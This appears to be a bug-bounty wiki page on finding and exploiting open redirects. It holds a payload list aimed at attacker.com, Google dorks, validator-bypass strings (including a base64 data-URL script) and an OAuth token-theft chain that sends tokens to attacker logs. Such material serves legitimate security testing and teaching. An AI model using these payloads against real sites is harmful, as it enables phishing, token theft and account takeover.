Open Redirect Testing

Very easy to find, and chains effectively with OAuth for token theft leading to account takeover.

Common Parameter Names

return, return_url, rUrl, cancelUrl, redirect, goto, returnTo, returnUrl,
r_url, redirectTo, redirectUrl, dest, continue, next, window, back

Payloads

\/attacker.com
\attacker.com
//attacker.com
//theirsite@attacker.com
/\/attacker.com
https://attacker.com%3F.theirsite.com/
////attacker.com
/%0D/attacker.com
/%2F/attacker.com
/%5Cattacker.com
//google%E3%80%82com

Encoding tip: Always encode & ? # / \ as %26 %3F %23 %2F %5C to force the browser to decode after the redirect, bypassing server-side filters that check the raw string.

Finding with Google Dorks

site:target.com inurl:redirect=
site:target.com inurl:return_url=
site:target.com inurl:goto=

OAuth Token Theft Chain

/login?client_id=123&redirect_url=https://target.com/oauth/callback?goto=https://attacker.com/

The OAuth token is appended to the redirect URL. If the redirect goes to an attacker-controlled domain, the token lands in the attacker's server logs = account takeover.

Bypass Techniques

Browser autocorrect – /attacker.com may be normalized by the browser * Flawed validator logic – validator checks only if their domain is a substring: https://attacker.com?x=theirsite.com * Data URLs – data:text/html;base64,… * URL decoding – try encoded slashes %2F%2Fattacker.com * Combining techniques – chain encoding + partial domain match ===== Escalation ===== * Chain with OAuth: redirect_uri bypass = token theft = account takeover * Use as SSRF bypass – open redirect on target used to reach internal services * Phishing – bounce through trusted domain to attacker page ===== See Also ===== * SSRF Testing * Bug Chaining * TBHM Auth & Session * Methodology Index ====== BBC Ch 7: Open Redirects ====== Merged from Bug Bounty Bootcamp Ch 7 by Vickie Li ===== How Open Redirects Work ===== Sites often redirect users after login, logout, or payment to a URL specified by a parameter or the Referer header. When the destination is not validated, an attacker can redirect the victim to an arbitrary site. Two mechanisms: Parameter-based: <code> https://example.com/login?redirect=https://example.com/dashboard </code> Change the redirect value to an attacker-controlled host and the site sends the user there. Referer-based: The application reads the HTTP Referer header to determine where to redirect after an action (login, form submit). Host a page on your server that links to the target – when the user clicks through, the Referer is set to your server, and the app redirects to it after login. ===== Prevention ===== Sites use URL validators to allow only redirects to approved destinations. These use blocklists (reject known-bad patterns) or allowlists (accept only approved destinations). Both are hard to implement correctly and both have well-known bypasses. ===== Hunting for Open Redirects ===== ==== Step 1: Find Candidates ==== In Burp proxy history, search for these parameter names: <code> redirect redir redirect_uri redirect_url next return return_to returnTo destination dest forward url uri go goto to </code> Also watch for 301/302 responses on pages that don't have a redirect parameter – those are referer-based candidates. Check the page that caused the redirect and whether changing the Referer changes the destination. ==== Step 2: Google Dorks ==== <code> inurl:%3Dhttp site:example.com inurl:%3D%2F site:example.com inurl:redir site:example.com inurl:redirect site:example.com inurl:redirecturi site:example.com inurl:redirect_uri site:example.com inurl:redirecturl site:example.com inurl:redirect_url site:example.com inurl:return site:example.com inurl:returnto site:example.com inurl:return_to site:example.com inurl:goto site:example.com inurl:next site:example.com </code> ==== Step 3: Test Parameter-Based ==== Replace the redirect value with an external hostname. If the response is a 302 Location to your host, it is vulnerable. If the app validates the domain, move to bypass techniques. ==== Step 4: Test Referer-Based ==== Host a simple HTML page on a server you control that links to the target page: <code html> <html><a href=“https://example.com/login”>click</a></html> </code> Click the link. If the app redirects you to your server after login, the Referer header is being used as the destination without validation. ===== Bypassing URL Validators ===== ==== Browser Autocorrect ==== Browsers normalize unusual URL syntax before sending. Use these to fool validators that parse the raw string: <code> https:attacker.com https;attacker.com https:\/\/attacker.com https:\attacker.com </code> ==== Backslash Normalization ==== <code> https:\attacker.com </code> Some browsers normalize backslashes to forward slashes, so the above becomes https://attacker.com. Validators may see a backslash and reject it as non-URL, but some pass it through. ==== @-Sign Trick ==== URLs allow a username before the host with @. A validator checking for “starts with example.com” is fooled: <code> https://example.com@attacker.com https://attacker.com\@example.com </code> The browser connects to attacker.com; everything before @ is treated as credentials. ==== Flawed Allowlist Logic ==== If the validator checks that the URL contains the allowed domain: <code> https://example.com.attacker.com https://attacker.com/example.com https://attacker.com#example.com </code> If the validator checks that the URL starts with the allowed domain: <code> https://example.com%252f@attacker.com/example.com </code> Double encoding: %25 decodes to %, so %252f decodes to %2f (a forward slash). After one decode pass the validator sees example.com%2f@attacker.com and may approve it. The browser then performs a second decode and connects to attacker.com. ==== Data URLs ==== <code> data:text/html;base64,PHNjcmlwdD5sb2NhdGlvbj0iaHR0cHM6Ly9hdHRhY2tlci5jb20iOzwvc2NyaXB0Pg== </code> The base64 content decodes to: <code html> <script>location=“https://attacker.com”;</script> </code> Data URLs execute in browser context. If the validator accepts data: URLs, this is both a redirect and an XSS vector. ==== URL Decoding Exploits ==== * Double encoding – encode a character twice: %252f → first pass %2f → second pass / * Non-ASCII bytes – %ff'' and other high bytes may pass validators that only check for known-bad ASCII * Unicode lookalikes – Unicode characters that visually resemble ASCII but have different code points; validators may miss them ===== Escalating the Attack ===== Open redirects on their own are low severity. They become high severity when chained: * Phishing – send victims to a clone of the target site to harvest credentials. The URL starts with the legitimate domain, making it convincing. * SSRF chaining – if an SSRF vulnerability follows redirects, an open redirect on an allowed host can be used to reach internal services. The SSRF check approves the allowed host; the redirect sends the request to an internal IP. * OAuth token theft via Referer – if a redirect happens after an OAuth authorization step, and the Referer header is sent to the attacker-controlled redirect target, the OAuth code or token leaks in the Referer to the attacker's server logs. ===== 5-Step Checklist ===== - Search proxy history for redirect parameters and 301/302 responses without explicit redirect params. - Run Google dorks to find additional redirect parameter occurrences in indexed URLs. - Test parameter-based: replace redirect value with an external URL. Check the response Location header. - Test referer-based: host a page linking to the target, browse via your page, observe where you land. - If validation is present, attempt bypasses: browser autocorrect syntax, @-sign, allowlist logic errors, double encoding, data URLs.

Cybersecurity

Table of Contents